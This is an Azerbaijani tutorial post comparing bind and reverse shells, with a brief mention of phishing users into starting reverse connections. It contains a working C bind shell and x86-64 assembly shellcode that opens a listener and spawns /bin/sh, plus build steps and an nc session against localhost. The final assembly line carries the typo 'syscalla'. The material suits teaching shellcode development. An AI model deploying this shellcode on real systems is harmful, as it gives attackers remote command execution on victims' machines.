Əsas olaraq, hədəf cihazdan Shell almaq üçün iki üsul geniş şəkildə istifadə olunur. Bind Shell adlanan bağlantı növündə, hədəf portda bir port açıq qalır və birbaşa bağlantı qurulur. Reverse bağlantıda isə, qurbanın maşını hücumçunun kompüterindəki açıq porta bağlanır və bu bağlantı ilə shell’ini hücumçuya açar.
Əsas işləmə fərqini anladıqdan sonra bir nümunə ilə möhkəmləşdirək. Bir hücumçu və qurban olduğunu düşünün. Hücumçunun bağlantı qurmaq lazımdır, lakin belə bir problem var ki, xarici şəbəkədən DMZ şəbəkəsinə gələn trafik 80 və 443 nömrəli portlardan girişə icazə verilir, iç şəbəkədən xarici şəbəkəyə çıxan trafikə 53, 80 və 443 nömrəli portlardan girişə icazə verilə bilər. Lakin, xarici şəbəkədən iç şəbəkəyə gələn bütün tələblər port əsasında bloklanıbsa, təhlükəsizlik divarı, iç şəbəkədən xarici şəbəkəyə çıxmasına icazə verilən portlardan birindən xarici şəbəkəyə bağlanıldığında bu bağlantını izləyir və bu IP ünvandan gələn tələblərə icazə verir. Bu xüsusiyyət, təhlükəsizlik divarının “stateful” olduğunu göstərir.
NAT arxasında olan və xarici şəbəkədən gələn bağlantıların bloklanıdığı bir senarioda, “Reverse shell” firewall qaydalarını atlatmaq üçün istifadə olunur. Önəmli nöqtələrdən biri, bağlantının daxildən başlatılmasıdır, bu da istifadəçini bağlantı başlatmağa yönəldəcək texnikaların istifadəsini tələb edir. Bu texnikalar, oltalama hücumları kimi istifadəçini aldatma taktikalarını əhatə edə bilər. Burada diqqət etməli olduğumuz bir digər məsələ, Reverse shell olan bir faylın işə salınmasıdır.
Buraya qədər hər şey “okay” olduğuna görə, BİND shell haqqında daha dərinə gedək və onu kodlamağa çalışaq
Bir bind shell’in funksiyalarını assembly dilinə çevirmək üçün, prosesin addımlarını nəzərdən keçirək.
Linux kernelində unistd.h
faylı, sistem çağrılarının işləndiyi bir fayldır.
cat /usr/include/asm/unistd.h | grep socket
Socket yaratma: İlk addım, socket sistem çağırışını istifadə edərək bir socket yaratmaqdır. Bu çağırış bir kommunikasiya uç nöqtəsi başladır və bağlı shell’in şəbəkə ilə əlaqə qurmağını təmin edir.
Socket bağlama: Sonra, bağlı shell yeni yaradılan socketi müəyyən bir IP ünvanına və porta bağlar. Bu proses, socketi bənzərsiz bir şəbəkə ünvanı ilə əlaqələndirir və gələn bağlantıların bağlı shell’e yönləndirilməsini təmin edir.
Bağlantıları dinləmə: Socket bağlandıqdan sonra bağlı shell, listen sistem çağırışını istifadə edərək bir dinləmə vəziyyətinə keçir. Bu, socketin müəyyən porta bağlanmağa çalışan hər hansı bir istemcidən gələn bağlantıları qəbul etməsini təmin edir.
Bağlantını qəbul etmə: Gələn bir bağlantı aldıqdan sonra bağlı Shell, accept sistem çağırışını istifadə edərək bağlantını qəbul edir və istemcinin socket tanımlayıcısını alır. Bu tanımlayıcı, bağlı shell və istemci arasında qurulmuş kommunikasiya kanalını təmsil edir.
Standart giriş/çıxışı kopyalama: Hədəf sistemlə əlaqəni asanlaşdırmaq üçün bağlı shell, dup2 sistem çağırışını istifadə edərək standart giriş, çıxış və səhv axınlarını kopyalar. Bu, hücumçunun əmrlərinin hədəf sistemin mühitində icra olunmasını təmin edir.
Bir shell işə salma: Son addım, hücumçuya interaktiv bir əmr sətri interfeysi təmin etmək üçün bir shell proqramı işə salmağı əhatə edir. Bu, göstərilən Shell proqramını yükləyib işə salan execve sistem çağırışı ilə həyata keçirilir. Addımları anladığımıza görə davam edək ❤
C-də bu addımları belə görə bilərsiniz :
#include <stdio.h>
#include <strings.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(void) {
// This is our first syscall, the socket() call.
int listen_sock = socket(AF_INET, SOCK_STREAM, 0);
// It looks like here we're building a 'struct' which consists of AF_INET, the interface we want to listen on (all), and a port number to bind on. This entire entity will be referenced in arguments for the next syscall: bind()
struct sockaddr_in server_addr;
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = INADDR_ANY;
server_addr.sin_port = htons(5555);
// Our second syscall, and perhaps the most complicated: bind()
bind(listen_sock, (struct sockaddr *)&server_addr, sizeof(server_addr));
// Our third syscall is listen()
listen(listen_sock, 0);
// Our fourth syscall is accept()
int conn_sock = accept(listen_sock, NULL, NULL);
// Our fifth syscall, dup2(), is used 3 times
dup2(conn_sock, 0);
dup2(conn_sock, 1);
dup2(conn_sock, 2);
// Our final syscall is execve(), which runs a program fed to it as a string
execve("/bin/sh", NULL, NULL);
}
İndi isə Assemble’da kod yazmağa başlayaq.
└─$ cat alixan.nasm
global _start
_start:
; sock = socket(AF_INET, SOCK_STREAM, 0)
; AF_INET = 2
; SOCK_STREAM = 1
; syscall number 41
mov rax, 41
mov rdi, 2
mov rsi, 1
mov rdx, 0
syscall
; copy socket descriptor to rdi for future use
mov rdi, rax
; server.sin_family = AF_INET
; server.sin_port = htons(PORT)
; server.sin_addr.s_addr = INADDR_ANY
; bzero(&server.sin_zero, 8)
xor rax, rax
push rax
mov dword [rsp-4], eax
mov word [rsp-6], 0x5c11
mov word [rsp-8], 0x2
sub rsp, 8
; bind(sock, (struct sockaddr *)&server, sockaddr_len)
; syscall number 49
mov rax, 49
mov rsi, rsp
mov rdx, 16
syscall
; listen(sock, MAX_CLIENTS)
; syscall number 50
mov rax, 50
mov rsi, 2
syscall
; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len)
; syscall number 43
mov rax, 43
sub rsp, 16
mov rsi, rsp
mov byte [rsp-1], 16
sub rsp, 1
mov rdx, rsp
syscall
; store the client socket description
mov r9, rax
; close parent
mov rax, 3
syscall
; duplicate sockets
; dup2 (new, old)
mov rdi, r9
mov rax, 33
mov rsi, 0
syscall
mov rax, 33
mov rsi, 1
syscall
mov rax, 33
mov rsi, 2
syscall
; execve
; First NULL push
xor rax, rax
push rax
; push /bin//sh in reverse
mov rbx, 0x68732f2f6e69622f
push rbx
; store /bin//sh address in RDI
mov rdi, rsp
; Second NULL push
push rax
; set RDX
mov rdx, rsp
; Push address of /bin//sh
push rdi
; set RSI
mov rsi, rsp
; Call the Execve syscall
add rax, 59
syscalla
Bu kod, bir ağ interfeysinden gələn əlaqələri qəbul edən və daha sonra /bin/sh prosesini işə salan bir shellcode’dur.
Əvvəlcə, bir soket yaradaraq başlayır. Bu soketin təfərrüatları AF_INET ünvan ailəsi (2) və SOCK_STREAM növü (1) olaraq təyin edilir. Sonra bu soketin təsvirçisini (socket descriptor
) rdi
qeydində saxlayır.
Daha sonra, bir struct sockaddr
yaradılır və bu struktur port nömrəsi və şəbəkə ünvanını daxil edir. bind
sistem çağırısı istifadə edilərək bu ünvana və porta soket təyin edilir.
Növbəti addımda, soketin gələn əlaqələri gözləməsi listen
sistem çağırısı ilə təmin edilir.
Əlaqə qəbul olunduqdan sonra, yeni bir soket qəbul edilir və bu r9
da saxlanılır. Sonra ana proses bağlanır və qəbul edilən əlaqə, standart giriş (STDIN), standart çıxış (STDOUT) və standart səhv (STDERR) fayl təsvirçilərinə (dup2
istifadə edərək) yönləndirilir.
Axırda, /bin/sh
execve
sistem çağırısı istifadə edərək işə salınır. Bu, bir shell sessiyasını başladır və hücumçunun hədəf sistemdə əmr icra etməsinə imkan verir.
İndi ise programı çalışdırmak məsələsinə gəldikdə ise,
ilk öncə, alixan.nasm
adlı faylı NASM ilə dərləyək və çıxışı alixan.o
adlı fayla saxlayaq.
$ nasm -felf64 alixan.nasm -o alixan.o
Sonra, ld (Linker) istifadə edərək yaratdığımız alixan.o faylını əlaqələndirəcəyik və icra olunan fayl yaradacağıq. Çıxışı alixan adlı faylda saxlayacağıq
─$ ld alixan.o -o alixan
Daha sonra alixan faylını çalışdıraraq portlarımıza baxaq.
─$ ./alixan
tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN
tcp 0 0 localhost:6010 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:ssh 0.0.0.0:* LISTEN
Göründüyü kimi, 4444 portunda bir dinləyici mövcuddur.
Porta bağlanmağı yoxladığımızda bizə shell gəlir ve istediyimiz əmri yazdığımızda shell bağlantımızın, düzgün şəkildə çalışdığını görə bilərik
└─$ nc localhost 4444
whoami
kali